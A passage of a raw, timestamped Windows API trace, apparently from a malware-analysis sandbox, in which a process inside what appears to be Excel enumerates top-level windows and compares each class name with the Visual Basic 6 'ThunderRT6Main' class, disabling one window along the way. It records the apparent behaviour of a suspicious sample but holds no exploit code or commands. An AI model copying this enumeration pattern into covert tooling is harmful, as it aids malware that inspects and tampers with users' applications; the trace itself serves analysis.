(hWnd=0x10236, nIndex=-6) returned 0x0 [0153.361] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0153.361] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.361] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0153.361] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0153.361] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0153.361] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0153.361] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0153.361] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0153.361] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0153.361] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0153.361] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0153.361] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0153.361] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0153.361] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.361] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0153.361] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0153.362] IsWindowEnabled (hWnd=0x302dc) returned 1 [0153.362] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0153.362] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0153.362] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0153.362] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0153.362] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0153.362] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0153.362] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0153.362] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0153.362] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.362] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0153.362] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0153.362] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0153.362] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0153.362] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.362] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.362] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.362] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0153.362] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0153.362] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0153.362] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0153.362] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.362] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.362] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.362] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0153.362] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0153.362] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0153.362] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0153.362] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.362] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.362] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.362] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0153.362] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0153.362] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0153.362] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0153.362] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.362] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.362] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.362] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0153.362] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0153.362] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0153.363] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0153.363] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0153.363] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.363] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0153.363] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0153.363] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.363] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0153.363] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0153.363] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0153.363] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.363] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0153.363] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0153.363] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0153.363] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0153.363] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0153.363] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.363] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0153.363] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0153.363] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0153.363] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0153.363] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0153.363] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.363] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0153.363] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0153.363] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0153.363] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0153.363] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.363] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.363] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0153.363] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0153.363] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0153.363] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0153.363] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.363] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.363] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.363] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0153.363] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0153.363] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0153.363] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0153.363] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.364] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.364] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0153.364] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0153.364] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0153.364] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0153.364] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0153.364] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.364] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0153.364] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0153.364] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0153.364] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0153.364] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0153.364] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.364] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0153.364] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0153.364] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0153.364] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0153.364] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0153.364] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0153.364] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0153.364] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0153.364] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.364] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0153.364] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0153.364] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0153.364] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0153.364] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0153.364] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0153.364] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0153.364] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0153.364] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0153.364] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0153.364] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0153.364] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0153.364] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0153.364] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0153.365] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0153.365] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0153.365] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0153.365] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0153.365] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0153.365] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0153.365] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0153.365] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0153.365] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0153.365] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0153.365] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0153.365] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0153.365] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0153.365] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0153.365] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0153.365] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0153.365] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0153.365] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0153.365] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0153.365] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0153.365] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0153.365] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0153.365] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0153.365] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.365] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0153.366] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0153.366] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0153.366] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0153.366] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0153.366] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0153.366] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0153.366] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0153.366] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0153.366] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0153.366] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0153.366] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0153.366] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0153.366] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0153.366] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0153.366] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0153.366] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0153.366] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0153.366] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0153.366] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0153.366] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.366] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0153.366] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0153.366] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0153.366] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0153.367] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0153.367] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0153.367] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0153.367] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0153.367] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0153.367] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0153.367] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0153.367] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0153.367] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0153.367] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0153.367] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0153.367] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0153.367] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0153.367] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0153.367] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0153.367] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0153.367] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0153.367] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0153.367] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0153.367] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0153.367] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0153.367] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.367] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0153.367] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0153.367] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0153.368] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0153.368] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0153.368] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0153.368] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.368] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0153.370] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0153.370] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: 